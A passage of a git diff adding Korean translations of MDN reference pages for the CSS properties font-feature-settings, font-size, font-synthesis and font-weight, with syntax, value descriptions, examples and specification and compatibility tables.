+font-feature-settings: "swsh" 2;
+font-feature-settings: "smcp", "swsh" 2;
+
+/* 전역 값 사용 */
+font-feature-settings: inherit;
+font-feature-settings: initial;
+font-feature-settings: unset;</pre>
+
+<p>가능하다면 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>인 {{cssxref("font-variant")}} 속성을 사용하거나, 각각의 피처와 연관된 {{cssxref("font-variant-ligatures")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}} 등을 사용하는 것이 <code>font-feature-settings</code>를 직접 사용하는 것에 비해 더 효율적이고, 예측 가능하게 동작하며 이해하기도 쉽습니다.</p>
+
+<p>이는 <code>font-feature-settings</code>는 원래 작은 대문자(Small caps)와 같이 접근할 수 있는 다른 방법이 없는 오픈타입 피처를 제어하기 위해 만들어진 저수준의 기능이기 때문입니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>기본값을 이용하여 텍스트를 표시합니다.</dd>
+ <dt><code>&lt;feature-tag-value&gt;</code></dt>
+ <dd>텍스트를 렌더링할 때, 오픈타입 피처를 활성화하거나 비활성화하기 위해 피처 태그 목록을 렌더링 엔진에 전달합니다. 피처 태그는 4개의 ASCII 문자로 이루어진 {{cssxref("&lt;string&gt;")}}이어야 합니다. 만약 태그가 네 글자보다 짧거나, 유니코드 <code>U+20</code> – <code>U+7E</code> 범위 바깥에 있는 문자를 포함한다면 속성 전체가 무효처리됩니다.<br>
+ 값은 양의 정수 값을 가집니다. 각각 <code>1</code>, <code>0</code>과 같은 의미를 가지는 키워드 <code>on</code> 과 <code>off</code>도 사용할 수 있습니다. 아무런 값이 설정되지 않았다면 기본값은 <code>1</code>입니다. <a href="http://www.microsoft.com/typography/otspec/features_pt.htm#salt" title="http://www.microsoft.com/typography/otspec/features_pt.htm#salt">stylistic alternates</a>와 같이 Boolean 타입이 아닌 오픈타입 피처의 경우, 값은 선택되어야 하는 글리프(글자)를 의미합니다. Boolean 타입인 경우에는 스위치라고 생각하시면 됩니다.</dd>
+ <dd></dd>
+</dl>
+
+<h2 id="Formal_definition">Formal definition</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Formal_syntax">Formal syntax</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="다양한_오픈타입_피처_활성화">다양한 오픈타입 피처 활성화</h3>
+
+<pre class="brush:css notranslate">/* 작은 대문자(small-caps) 대체 글리프를 사용합니다. */
+.smallcaps { font-feature-settings: "smcp" on; }
+
+/* 대문자와 소문자를 모두 작은 대문자로 변환합니다.(문장부호도 영향을 받습니다.)*/
+.allsmallcaps { font-feature-settings: "c2sc", "smcp"; }
+
+/* 영문 대문자 "O"와 구분하기 위해 대각선이 그려진 숫자 0을 사용합니다. */
+.nicezero { font-feature-settings: "zero"; }
+
+/* '역사적인' 형태를 사용하기 위해 'hist' 피처를 활성화합니다. */
+.hist { font-feature-settings: "hist"; }
+
+/* 표준합자(common ligatures)를 비활성화 합니다. 기본값은 활성 상태입니다. */
+.noligs { font-feature-settings: "liga" 0; }
+
+/* 고정폭 숫자(tabular figures)를 사용합니다. */
+td.tabular { font-feature-settings: "tnum"; }
+
+/* 자동 분수 입력을 활성화합니다. */
+.fractions { font-feature-settings: "frac"; }
+
+/* 가능한 swash 문자 중 두번째를 사용합니다. */
+.swash { font-feature-settings: "swsh" 2; }
+
+/* 스타일 세트(stylistic set) 7번을 사용합니다. */
+.fancystyle {
+  font-family: Gabriola; /* available on Windows 7, and on Mac OS */
+  font-feature-settings: "ss07";
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-feature-settings', 'font-feature-settings')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.font-feature-settings")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("@font-face/font-display", "font-display")}}</li>
+ <li>{{cssxref("@font-face/font-family", "font-family")}}</li>
+ <li>{{cssxref("@font-face/font-stretch", "font-stretch")}}</li>
+ <li>{{cssxref("@font-face/font-style", "font-style")}}</li>
+ <li>{{cssxref("@font-face/font-weight", "font-weight")}}</li>
+ <li>{{cssxref("@font-face/font-variant", "font-variant")}}</li>
+ <li>{{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}</li>
+ <li>{{cssxref("@font-face/src", "src")}}</li>
+ <li>{{cssxref("@font-face/unicode-range", "unicode-range")}}</li>
+ <li><a href="http://www.microsoft.com/typography/otspec/featurelist.htm">OpenType Feature Tags</a> list</li>
+ <li><a href="http://blogs.msdn.com/b/ie/archive/2012/01/09/css-corner-using-the-whole-font.aspx">Using the whole font</a><br>
+  <em>(<strong>Note:</strong> The <code>-moz</code> syntax is the old one. On Gecko, use the <code>-ms</code> syntax but with <code>-moz</code>.)</em></li>
+</ul>
diff --git a/files/ko/web/css/font-size/index.html b/files/ko/web/css/font-size/index.html
new file mode 100644
index 0000000000..9f2a57e17c
--- /dev/null
+++ b/files/ko/web/css/font-size/index.html
@@ -0,0 +1,220 @@
+---
+title: font-size
+slug: Web/CSS/font-size
+translation_of: Web/CSS/font-size
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>font-size</code></strong> <a href="/en-US/docs/CSS" title="CSS">CSS</a> 속성은 폰트의 크기(대문자 "M"의 크기)를 지정합니다. 폰트 크기를 바꾸면 <code>em</code> 과 <code>ex</code> {{cssxref("&lt;length&gt;")}} 단위로 계산된 다른 항목들의 크기를 바꿉니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/font-size.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css notranslate">/* &lt;absolute-size&gt; 값 */
+font-size: xx-small;
+font-size: x-small;
+font-size: small;
+font-size: medium;
+font-size: large;
+font-size: x-large;
+font-size: xx-large;
+
+/* &lt;relative-size&gt; 값 */
+font-size: larger;
+font-size: smaller;
+
+/* &lt;length&gt; 값 */
+font-size: 12px;
+font-size: 0.8em;
+
+/* &lt;percentage&gt; 값 */
+font-size: 80%;
+
+/* 전역 값 */
+font-size: inherit;
+font-size: initial;
+font-size: unset;
+</pre>
+
+<p>The <code>font-size</code> property is specified in one of the following ways:</p>
+
+<ul>
+ <li>As one of the <a href="https://developer.mozilla.org/ko/docs/Web/CSS/font-size$edit#absolute-size">absolute-size</a> or <a href="https://developer.mozilla.org/ko/docs/Web/CSS/font-size$edit#relative-size">relative-size</a> keywords</li>
+ <li>As a <code>&lt;length&gt;</code> or a <code>&lt;percentage&gt;</code>, relative to the parent element's font size</li>
+</ul>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt><code>xx-small, x-small, small, medium, large, x-large, xx-large</code></dt>
+ <dd>키워드는 사용자의 기본 폰트(<code>medium</code>) 크기에 따라 정해집니다. <code>&lt;font size="1"&gt;</code> 부터 <code>&lt;font size="7"&gt;</code> 와 같은 HTML 과 유사하게 표현됩니다. 기본 유저 폰트 크기는 <code>&lt;font size="3"&gt;입니다</code>.</dd>
+ <dt><code>larger, smaller</code></dt>
+ <dd>키워드에 따라 부모 엘리먼트의 폰트 크기에서 일정 비율로 늘이거나 줄입니다.</dd>
+ <dd><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"><strong>{{cssxref("&lt;length&gt;")}}</strong></span></font></dd>
+ <br>
+ <dd>
+ <p>{{cssxref("&lt;length&gt;")}}는 항상 양수입니다. 만약 단위가 <code>em</code> 이나 <code>ex </code>로 표현되어 있으면, 부모 엘리먼트의 크기에 상대적으로 정해집니다. 예를 들어, 0.5em 은 부모 엘리먼트 폰트 크기의 절반이 현재 엘리먼트의 폰트 크기입니다. 만약 단위가 <code>rem</code>으로 지정되어 있다면, 폰트 크기는 <code>html</code> (루트) 엘리먼트의 폰트 크기에 따라 상대적으로 정해집니다.</p>
+ </dd>
+ <dt><code>{{cssxref("&lt;percentage&gt;")}}</code></dt>
+ <dd>양수인 {{cssxref("&lt;percentage&gt;")}} 는, 부모 엘리먼트의 폰트 크기의 비율입니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Possible_approaches" name="Possible_approaches">접근법</h2>
+
+<p>폰트 크기는 키워드나 pixel과 em처럼 수치 단위처럼 여러가지 방법으로 지정할 수 있습니다. 각 웹 페이지에 맞는 적합한 방법을 선택해야 합니다.</p>
+
+<h3 id="Keywords" name="Keywords">키워드</h3>
+
+<p>키워드는 웹의 폰트 크기를 정하는 좋은 방법입니다. 키워드로 엘리먼트의 폰트 크기를 정하면 웹 페이지의 모든 페이지의 폰트 크기가 상대적으로 지정되어 쉽게 전체 페이지의 폰트 크기를 늘이거나 줄일 수 있습니다.</p>
+
+<h3 id="Pixels" name="Pixels">픽셀</h3>
+
+<p>픽셀 단위의 정확함이 필요하면, 폰트 크기를 픽셀 단위로 (<code>px</code>) 설정하는 것이 좋은 선택입니다. px 값은 정적이고 운영체제 독립적이며 브라우저 독립적인 방법으로 브라우저에 글자들이 정확히 몇 픽셀 높이로 렌더링 되어야 하는지를 정할 수 있습니다다. 브라우저가 비슷한 효과를 내기 위해 각기 다른 방법을 사용하기 때문에 렌더링된 결과가 브라우저마다 아주 조금씩 달라질 수 있습니다.</p>
+
+<p>폰트 크기 설정을 조합해서 쓸 수 있습니다다. 예를 들어, 부모 엘리먼트의 크기를 <code>16px</code> 로 정하고 자식 엘리먼트의 크기를 <code>larger</code>로 설정하면, 자식엘리먼트의 폰트 크기는 페이지에 있는 부모 엘리먼트보다 크게 보입니다.</p>
+
+<div class="note"><strong>참고:</strong> 폰트 크기를 픽셀로 정하는 것은 사용자가 폰트 크기를 브라우저를 이용해 바꿀 수 없기 때문에 <em><a href="https://en.wikipedia.org/wiki/Web_accessibility">접근성이 떨어집니다</a></em>. (예를 들어 시각에 제약이 있는 사용자가 폰트 크기를 웹 디자이너가 설정한 크기보다 더 크게 설정하려고 할 수 있습니다.) 그러므로, 접근성 높은 페이지를 만들고자 한다면, 폰트 크기를 픽셀 단위로 설정하는 것을 지양해야 합니다.</div>
+
+<h3 id="Ems" name="Ems"><code>em</code> 값</h3>
+
+<p>폰트 크기를 설정하는 또 하나의 방법은 <code>em</code> 값으로 설정하는 것입니다. <code>em</code> 값은 동적입니다. <code>font-size</code> 속성을 정의할 때, em 은 부모 엘리먼트의 폰트 크기와 같습니다. 만약, 전체 페이지에서 폰트 크기를 정의하지 않으면 높은 가능성으로 브라우저 기본인 16px로 지정됩니다. 따라서 기본 값일때 1em = 16px 이고 2em = 32px 를 나타냅니다. 만약 body 엘리먼트의 <code>font-size</code> 를 20px로 정한 경우, 1em = 20px 이고 2em = 40px 입니다. 2 라는 값은 현재 크기의 배수를 나타냄을 주의해야 합니다.</p>
+
+<p>em 표현을 pixel 값으로 표현해야 한다면 이 공식을 사용할 수 있습니다.</p>
+
+<pre class="notranslate">em = 구하고자 하는 엘리먼트의 pixel 값 / 부모 엘리먼트의 font-size pixel 값</pre>
+
+<p>예를 들어 페이지의 폰트 크기가 1em이고, 브라우저 기본 값이 1em = 16px로 정의되어 있다고 가정해보겠습니다. 만약 12px 폰트 크기로 지정하고 싶다면 0.75em(12/16 = 0.75) 로 정해야 합니다. 비슷하게, 10px로 정하고 싶다면 0.625em(10/16 = 0.625) 로 정합니다. 22px 은 1.375em 으로 표현합니다.</p>
+
+<p>문서 전체의 폰트 크기를 정할때 많이 쓰이는 방법은 body 태그의 폰트 크기를 10px 과 같은 62.5% (기본값 16px의 62.5%) 나 0.625em 으로 정하는 것 입니다. 이제 다른 엘리먼트의 폰트 크기를 계산하기 쉬운 px 을 10으로 나눈 em 단위를 이용해서 설정할 수 있습니다. 이 경우 6px = 0.6em 로, 8px = 0.8em, 12px = 1.2em, 14px = 1.4em, 16px = 1.6em 로 표현합니다.</p>
+
+<pre class="brush:css notranslate">body {
+  font-size: 62.5%; /* font-size 1em = 10px 브라우저의 기본 설정 */
+}
+span {
+  font-size: 1.6em; /* 1.6em = 16px */
+}</pre>
+
+<p>em 은 자동적으로 폰트의 크기를 적용해주기 때문에 CSS 에서 유용한 단위입니다.</p>
+
+<p>중요하게 기억할 점은, em 값은 합성 값입니다. 위의 CSS 에 아래 HTML 을 적용해보겠습니다.</p>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+&lt;span&gt;Outer &lt;span&gt;inner&lt;/span&gt; outer&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p>그 결과는</p>
+
+<p>{{EmbedLiveSample("Ems", 400, 40)}}</p>
+
+<p>브라우저의 기본 <code>font-size</code> 가 16px 이라고 가정해보면, "outer" 는 16px 로 그려지고 , "inner" 는 25.6px로 그려집니다. 왜냐하면 span의 <code>font-size</code> 가 1.6 em 으로 부모의 <code>font-size</code>에 상대적인데,  그 부모의 <code>font-size</code>도 상대적으로 계산되기 때문입니다. 이러한 동작을 <strong>합성</strong>이라고 부릅니다.</p>
+
+<h3 id="Rems" name="Rems"><code>rem</code></h3>
+
+<p><code>rem</code> 값은 합성 문제를 회피하기 위해 고안되었습니다. <code>rem</code> 값은 부모 엘리먼트가 아니라 최상위 <code>html</code> 엘리먼트에 상대적입니다. 다르게 표현하면, rem 은 부모 크기에 의해 폰크 크기가 정해지지 않도록 하여 합성 문제를 제거합니다.</p>
+
+<p>아래 CSS 는 이전 예제와 거의 동일합니다. 딱 하나 다른 점은 단위가 <code>rem</code> 으로 바뀌었습니다.</p>
+
+<pre class="brush: css notranslate">html {
+  font-size: 62.5%; /* font-size 1em = 10px on default browser settings */
+}
+span {
+  font-size: 1.6rem;
+}
+</pre>
+
+<p>이 CSS 를 같은 HTML 에 적용하면 이렇게 보입니다</p>
+
+<pre class="brush: html notranslate">&lt;span&gt;Outer &lt;span&gt;inner&lt;/span&gt; outer&lt;/span&gt;</pre>
+
+<p>{{EmbedLiveSample("Rems", 400, 40)}}</p>
+
+<p>이 예제에서 "outer inner outer" 는 모두 16px 로 보입니다 (브라우저의 기본 폰트 설정이 16px 인 경우).</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="Example_1" name="Example_1">예제 1</h3>
+
+<pre class="brush: css notranslate">/* 문단 텍스트의 크기를 매우 크게 설정 */
+p { font-size: xx-large }
+
+/* h1 (제목 1)을 주변 텍스트보다 2.5배 큼 */
+h1 { font-size: 250% }
+
+/* span 태그 안의 텍스트를 16px 로 설정 */
+span { font-size: 16px; }
+</pre>
+
+<h3 id="예제_2">예제 2</h3>
+
+<pre class="brush: css notranslate">.small {
+	font-size: xx-small;
+}
+.larger {
+	font-size: larger;
+}
+.point {
+	font-size: 24pt;
+}
+.percent {
+	font-size: 200%;
+}
+</pre>
+
+<pre class="brush: html notranslate"><span>&lt;h1 class="small"&gt;Small H1&lt;/h1&gt;
+&lt;h1 class="larger"&gt;Larger H1&lt;/h1&gt;</span>
+<span>&lt;h1 class="point"&gt;24 point H1&lt;/h1&gt;
+&lt;h1 class="percent"&gt;200% H1&lt;/h1&gt;</span></pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('예제_2','600','200')}}</p>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p>{{Cssxref("font-size")}} 속성의 <code>em</code> 과 <code>ex</code> 단위는 부모 엘리먼트의 폰트 크기에 상대적입니다(자기 엘리먼트의 폰트 크기에 상대적인 다른 속성과는 다르게). 이는 <code>em</code> 단위와 퍼센트 단위가 {{Cssxref("font-size")}} 에서 동일하게 동작함을 의미합니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-size-prop', 'font-size')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'font-size')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>font-size</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-size', 'font-size')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-size', 'font-size')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.font-size")}}</p>
diff --git a/files/ko/web/css/font-synthesis/index.html b/files/ko/web/css/font-synthesis/index.html
new file mode 100644
index 0000000000..99810d8517
--- /dev/null
+++ b/files/ko/web/css/font-synthesis/index.html
@@ -0,0 +1,111 @@
+---
+title: font-synthesis
+slug: Web/CSS/font-synthesis
+tags:
+  - CSS
+  - CSS Fonts
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/font-synthesis
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>font-synthesis</code></strong> 속성은 브라우저가 굵은 글꼴과 이탤릭 글꼴을 합성하는 것을 허용할지 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-synthesis.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p><code>font-synthesis</code>는 다음 방법 중 하나를 사용해 지정합니다.</p>
+
+<ul>
+ <li><code>none</code> 키워드.</li>
+ <li><code>weight</code> 또는 <code>style</code> 키워드.</li>
+ <li><code>weight</code>와 <code>style</code> 키워드.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>굵은 글꼴과 이탤릭 글꼴의 합성을 금지합니다.</dd>
+ <dt><code>weight</code></dt>
+ <dd>필요한 경우 굵은 글꼴을 합성할 수 있습니다.</dd>
+ <dt><code>style</code></dt>
+ <dd>필요한 경우 이탤릭 글꼴을 합성할 수 있습니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>대부분의 표준 서양 글꼴은 이탤릭과 굵은 글꼴을 포함하고 있으나 상용 글꼴은 그렇지 않은 경우도 많습니다. 한국, 중국, 일본을 포함한 비 알파벳 문화권의 문자 체계는 보통 이런 변형을 포함하지 않으며 브라우저의 글꼴 합성으로 인해 가독성이 떨어질 수 있습니다. 이 두 가지 경우에 대해 <code>font-synthesis</code>를 사용해 기본 글꼴 합성을 끄는 것이 좋을 수도 있습니다.</p>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="글꼴_합성_비활성화">글꼴 합성 비활성화</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;em class="syn"&gt;절 합성하세요! Synthesize!&lt;/em&gt;
+&lt;br/&gt;
+&lt;em class="no-syn"&gt;절 합성하지 마세요! Synthesize!&lt;/em&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">em {
+  font-weight: bold;
+}
+.syn {
+  font-synthesis: style weight;
+}
+.no-syn {
+  font-synthesis: none;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('글꼴_합성_비활성화', '', '50') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-synthesis', 'font-synthesis')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.font-synthesis")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+</ul>
diff --git a/files/ko/web/css/font-weight/index.html b/files/ko/web/css/font-weight/index.html
new file mode 100644
index 0000000000..bc3ff93c1c
--- /dev/null
+++ b/files/ko/web/css/font-weight/index.html
@@ -0,0 +1,283 @@
+---
+title: font-weight
+slug: Web/CSS/font-weight
+translation_of: Web/CSS/font-weight
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="요약">요약</h2>
+
+<p><strong><code>font-weight</code></strong> <a href="/en-US/docs/CSS" title="CSS">CSS</a> 속성은 폰트(font)의 가중치(weight)나 굵기(boldness)를 명시한다. 몇몇 폰트들은 <code>normal</code> 나 <code>bold</code> 일 때만 가능하다. </p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">font-weight: normal;
+font-weight: bold;
+
+/* Relative to the parent */
+font-weight: lighter;
+font-weight: bolder;
+
+font-weight: 100;
+font-weight: 200;
+font-weight: 300;
+font-weight: 400;
+font-weight: 500;
+font-weight: 600;
+font-weight: 700;
+font-weight: 800;
+font-weight: 900;
+
+/* Global values */
+font-weight: inherit;
+font-weight: initial;
+font-weight: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>보통 폰트 가중치. <code>400</code> 과 같음.</dd>
+ <dt><code>bold</code></dt>
+ <dd>굵은 폰트 가중치. <code>700</code> 과 같음.</dd>
+ <dt><code>lighter</code></dt>
+ <dd>(가능한 폰트 가중치 중) 부모 요소(element) 보다 얇은 폰트 가중치.</dd>
+ <dt><code>bolder</code></dt>
+ <dd>(가능한 폰트 가중치 중) 부모 요소 보다 굵은 폰트 가중치.</dd>
+ <dt><code>100</code>, <code>200</code>, <code>300</code>, <code>400</code>, <code>500</code>, <code>600</code>, <code>700</code>, <code>800</code>, <code>900</code></dt>
+ <dd>normal 과 bold 이외를 제공하는 폰트를 위한 숫자형 폰트 가중치.</dd>
+</dl>
+
+<h3 id="대비책(Fallback)">대비책(Fallback)</h3>
+
+<p>만약 정확히 주어진 가중치를 사용할 수없다면, 실제로 렌더링 되는 가중치를 결정하기 위해 다음과 같은 경험적 접근이 적용된다:</p>
+
+<ul>
+ <li>만약 <code>500</code> 초과의 가중치가 주어지면, 가능한 굵은(darker) 가중치 중 가장 가까운 것이 사용된다 (만약 없다면, 얇은(lighter) 가중치 중 가장 가까운 것).</li>
+ <li>만약 <code>400</code> 미만의 가중치가 주어지면, 가능한 얇은 가중치 중 가장 가까운 것이 사용된다 (만약 없다면, 굵은 가중치 중 가장 가까운 것).</li>
+ <li>만약 가중치가 <code>400</code> 이 주어지면, <code>500</code> 이 사용된다. 만약 <code>500</code> 이 불가능하면, <code>500</code> 미만의 폰트 가중치를 위한 경험적 접근이 사용된다.</li>
+ <li>만약 가중치가 <code>500</code> 이 주어지면, <code>400</code> 이 사용된다. 만약 <code>400</code> 이 불가능하면, <code>400</code> 미만의 폰트 가중치를 위한 경험적 접근이 사용된다.</li>
+</ul>
+
+<p>이것은 <code>normal</code> 과 <code>bold</code> 만 지원하는 폰트일 경우, 100-500 은 normal, 600-900 은 bold 임을 의미한다.</p>
+
+<h3 id="상대적_가중치의_의미">상대적 가중치의 의미</h3>
+
+<p><code>lighter</code> 나 <code>bolder</code> 가 주어진 경우, 요소의 절대적인 가중치를 계산하기 위해 다음 차트가 사용된다:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th>상속된 값</th>
+   <th><code>bolder</code></th>
+   <th><code>lighter</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>100</th>
+   <td>400</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>200</th>
+   <td>400</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>300</th>
+   <td>400</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>400</th>
+   <td>700</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>500</th>
+   <td>700</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>600</th>
+   <td>900</td>
+   <td>400</td>
+  </tr>
+  <tr>
+   <th>700</th>
+   <td>900</td>
+   <td>400</td>
+  </tr>
+  <tr>
+   <th>800</th>
+   <td>900</td>
+   <td>700</td>
+  </tr>
+  <tr>
+   <th>900</th>
+   <td>900</td>
+   <td>700</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="일반적인_가중치_이름_매핑">일반적인 가중치 이름 매핑</h3>
+
+<p>100~900 의 가중치 값들은 다음의 일반적인 두께 이름으로 대응된다:</p>
+
+<dl>
+ <dt><code>100</code></dt>
+ <dd>Thin (Hairline)</dd>
+ <dt><code>200</code></dt>
+ <dd>Extra Light (Ultra Light)</dd>
+ <dt><code>300</code></dt>
+ <dd>Light</dd>
+ <dt><code>400</code></dt>
+ <dd>Normal</dd>
+ <dt><code>500</code></dt>
+ <dd>Medium</dd>
+ <dt><code>600</code></dt>
+ <dd>Semi Bold (Demi Bold)</dd>
+ <dt><code>700</code></dt>
+ <dd>Bold</dd>
+ <dt><code>800</code></dt>
+ <dd>Extra Bold (Ultra Bold)</dd>
+ <dt><code>900</code></dt>
+ <dd>Black (Heavy)</dd>
+</dl>
+
+<h3 id="보간">보간</h3>
+
+<p><code>font-weight</code> 값은 100 단위로 보간된다. 보간은 실수 공간에서 이루어지며 100의 배수에 가까운 값으로 어림한다. 100의 배수 중간의 값들은 양의 무한대 방향의 가까운 값으로 어림한다.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Alice was beginning to get very tired of sitting by her sister on the
+  bank, and of having nothing to do: once or twice she had peeped into the
+  book her sister was reading, but it had no pictures or conversations in
+  it, 'and what is the use of a book,' thought Alice 'without pictures or
+  conversations?'
+&lt;/p&gt;
+
+&lt;div&gt;I'm heavy&lt;br/&gt;
+  &lt;span&gt;I'm lighter&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">/* Set paragraph text to be bold. */
+p {
+  font-weight: bold;
+}
+
+/* Set div text to two steps darker than
+   normal but less than a standard bold. */
+div {
+ font-weight: 600;
+}
+
+/* Sets text enclosed within span tag
+   to be one step lighter than the parent. */
+span {
+  font-weight: lighter;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("Examples","400","300")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-weight-prop', 'font-weight')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>변경사항 없음</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'font-weight')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>font-weight</code> 이 animatable 로 정의됨</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-weight', 'font-weight')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>변경사항 없음</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-weight', 'font-weight')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.0</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>6.0</td>
